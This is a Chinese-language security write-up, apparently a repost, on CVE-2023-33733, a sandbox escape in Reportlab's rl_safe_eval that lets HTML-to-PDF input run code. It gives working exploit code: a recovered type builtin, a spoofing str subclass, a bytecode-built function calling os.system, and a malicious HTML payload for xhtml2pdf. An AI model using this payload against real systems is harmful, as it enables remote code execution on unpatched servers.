Ots安全
REPORTLAB Python 库中的代码注入漏洞
tl;dr这篇文章详细介绍了 Reportlab 中的 RCE 是如何被发现和利用的。由于 Reportlab 在 HTML 到 PDF 处理中的普遍存在,许多处理 PDF 文件的应用程序都可能会遇到此漏洞,因此这是一个需要修补和注意的重要漏洞。
介绍
几天前,在 Web 应用程序审核期间,我们注意到该应用程序正在使用 Reportlab python 库从 HTML 输入执行动态生成 PDF 文件。Reportlab 被发现有一个先前修补的漏洞导致代码执行。这意味着从攻击者的角度来看,找到绕过补丁的方法非常有趣,因为它会导致重新发现代码执行,尤其是 Reportlab 库也用于其他应用程序和工具。
什么是Reportlab
首先,快速回顾一下:Reportlab 是一个开放源代码项目,它允许使用 Python 编程语言以 Adobe 的可移植文档格式 (PDF) 创建文档。它还可以创建各种位图和矢量格式以及 PDF 格式的图表和数据图形。
攻击Reportlab
该库在 2019 年发现了一个类似的漏洞,通过 HTML 标签的 Color 属性导致远程代码执行,该属性的内容被直接评估为使用函数的 python 表达式,从而导致代码执行eval。为了缓解这个问题,Reportlab 实施了一个调用它的沙箱,它rl_safe_eval从所有 python 内置函数中剥离出来,并具有多个覆盖的内置函数,以允许执行库安全代码,同时停止对危险函数和库的任何访问,这些函数和库随后可能导致构建危险的python代码:
这种预防措施的一个例子是内置getattr函数被一个受限函数覆盖__rl_getitem__ ,该函数禁止访问对象的任何危险属性,例如以以下开头的对象__:
class __RL_SAFE_ENV__(object):
__time_time__ = time.time
__weakref_ref__ = weakref.ref
__slicetype__ = type(slice(0))
def __init__(self, timeout=None, allowed_magic_methods=None):
self.timeout = timeout if timeout is not None else self.__rl_tmax__
self.allowed_magic_methods = (__allowed_magic_methods__ if allowed_magic_methods==True
else allowed_magic_methods) if allowed_magic_methods else []
#[...]
# IN THIS LINE IT CAN BE OBSERVED THAT THE BUILTIN GETATR IS REPLACED WITH A CUSTOM FUNCTION
# THAT CHECKS THE SAFETY OF THE PASSED ATTRIBUTE NAME BEFORE GETTING IT
__rl_builtins__['getattr'] = self.__rl_getattr__
__rl_builtins__['dict'] = __rl_dict__
#[...]
def __rl_getattr__(self, obj, a, *args):
if isinstance(obj, strTypes) and a=='format':
raise BadCode('%s.format is not implemented' % type(obj))
# MULTIPLE CHECKS ARE DONE BEFORE FETCHING THE ATTRIBUTE AND RETURNING IT
# TO THE CALLER IN THE SANDBOXED EVAL ENVIRONMENT
self.__rl_is_allowed_name__(a)
return getattr(obj,a,*args)
def __rl_is_allowed_name__(self, name):
"""Check names if they are allowed.
If ``allow_magic_methods is True`` names in `__allowed_magic_methods__`
are additionally allowed although their names start with `_`.
"""
if isinstance(name,strTypes):
# NO ACCESS TO ATTRIBUTES STARTING WITH __ OR MATCH A PREDEFINED UNSAFE ATTRIBUTES NAMES
if name in __rl_unsafe__ or (name.startswith('__')
and name!='__'
and name not in self.allowed_magic_methods):
raise BadCode('unsafe access of %s' % name)
错误
如前所述,安全评估从所有危险功能中清除环境,以便执行代码无法访问可用于执行恶意操作的危险工具,但是如果发现绕过这些限制并可以访问其中一个原始限制builtins函数实现后,将大大方便沙盒环境的利用。
许多被覆盖的内置类之一被调用type,如果用一个参数调用这个类,它返回一个对象的类型。但是如果用三个参数调用它,它会返回一个新类型的对象。这本质上是类语句的动态形式。换句话说,它可以允许创建一个继承自另一个类的新类。
因此,这里的想法是创建一个名为的新类,Word该类继承自str该类,当传递给自定义时,getattr它将绕过检查并允许访问敏感属性,例如__code__.
getattr在沙盒 eval 中的自定义返回属性之前,它会__rl_is_allowed_name__在调用 python 内置函数getattr并返回结果之前通过调用检查被调用属性的安全性来进行一些检查。
def __rl_is_allowed_name__(self, name):
"""Check names if they are allowed.
If ``allow_magic_methods is True`` names in `__allowed_magic_methods__`
are additionally allowed although their names start with `_`.
"""
if isinstance(name,strTypes):
if name in __rl_unsafe__ or (name.startswith('__')
and name!='__'
and name not in self.allowed_magic_methods):
raise BadCode('unsafe access of %s' % name)
要绕过该__rl_is_allowed_name__函数,Word类应该:
始终返回False调用函数startswith以绕过(name.startswith('__')
应该返回False到它的第一次调用以__eq__绕过name in __rl_unsafe__,在第一次调用之后它应该返回正确的响应,因为当__eq__被 python 内置调用时getattr它应该返回正确的结果。
散列应该与其基础字符串的散列相同
以下类满足这些条件:
Word = type('Word', (str,), {
'mutated' : 1,
'startswith': lambda self, x: False,
'__eq__' : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate' : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__' : lambda self: hash(str(self))
})
code = Word('__code__')
print(code == '__code__') ## prints False
print(code == '__code__') ## prints True
print(code == '__code__') ## prints True
print(code == '__code__') ## prints True
print(code.startswith('__')) ## prints False
安全 eval 中的自定义类型函数不允许传递三个参数:
def __rl_type__(self,*args):
if len(args)==1: return type(*args)
raise BadCode('type call error')
通过调用 type 自身找到了绕过它的方法,允许检索原始内置type函数:
orgTypeFun = type(type(1))
结合这两行代码会得到这样的东西:
orgTypeFun = type(type(1))
Word = orgTypeFun('Word', (str,), {
'mutated' : 1,
'startswith': lambda self, x: False,
'__eq__' : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate' : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__' : lambda self: hash(str(self))
})
最终利用
现在剩下的就是编写 exploit:
为此,将从编译后的字节码中重构一个函数:
orgTypeFun = type(type(1))
Word = orgTypeFun('Word', (str,), {
'mutated': 1,
'startswith': lambda self, x: False,
'__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__': lambda self: hash(str(self))
})
codeattr = Word('__code__')
ftype = orgTypeFun(lambda: {None})
ctype = orgTypeFun(getattr(lambda: {None},codeattr))
# The byte code is of a function that looks like this
# def exp():
# __import__('os').system('touch /tmp/exploited')
f = ftype(ctype(0, 0, 0, 0, 3, 67, b't\x00d\x01\x83\x01\xa0\x01d\x02\xa1\x01\x01\x00d\x00S\x00',
(None, 'os', 'touch /tmp/exploited'), ('__import__', 'system'), (), '<stdin>', '', 1, b'\x12\x01'), {})
f()
然而,像这样的多行表达式不会在 eval 上下文中执行,要绕过这个问题,list comprehension可以使用技巧,如下所示:
[print(x) for x in ['hellworld']]
# which would be equivalent to
x='helloworld'
print(x)
[[ print (x + ' ' + y) for y in ['second var']] for x in ['first var']]
# which would be equivalent to
x='first var'
x='second var'
print (x + ' ' + y)
使用这种技术,漏洞利用代码可以像这样用一行代码重写(这被认为是一行 x)这里的多行只是格式化以增加漏洞利用的可读性,声明应该从下到上阅读 x)很奇怪但是这就是它的工作原理):
[
[
[
[
ftype(ctype(0, 0, 0, 0, 3, 67, b't\x00d\x01\x83\x01\xa0\x01d\x02\xa1\x01\x01\x00d\x00S\x00',
(None, 'os', 'touch /tmp/exploited'), ('__import__', 'system'), (), '<stdin>', '', 1, b'\x12\x01'), {})()
for ftype in [type(lambda: None)]
]
for ctype in [type(getattr(lambda: {None}, Word('__code__')))]
]
for Word in [orgTypeFun('Word', (str,), {
'mutated': 1,
'startswith': lambda self, x: False,
'__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__': lambda self: hash(str(self))
})]
]
for orgTypeFun in [type(type(1))]
]
概念验证
请参考,poc.py因为它包含演示代码执行的概念证明(成功利用后,exploited将在 /tmp/ 中创建一个名为的文件)。
还有什么?
许多应用程序和库都使用 Reportlab 库,例如 xhtml2pdf 实用程序函数很容易受到攻击,并且在将恶意 HTML 转换为 pdf 时可能会受到代码执行的影响
cat >mallicious.html <<EOF
<para><font color="[ [ [ [ [ ftype(ctype(0, 0, 0, 0, 3, 67, b't\\x00d\\x01\\x83\\x01\\xa0\\x01d\\x02\\xa1\\x01\\x01\\x00d\\x00S\\x00', (none, 'os', 'touch /tmp/exploited'), ('__import__', 'system'), (), '<stdin>', '', 1, b'\\x12\\x01'), {})() for ftype in [type(lambda: none)] ] for ctype in [type(getattr(lambda: {none}, Word('__code__')))] ] for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1==0, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]]">
exploit
</font></para>
EOF
xhtml2pdf mallicious.html
ls -al /tmp/exploited
``
参考:https://github.com/c53elyas/CVE-2023-33733
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里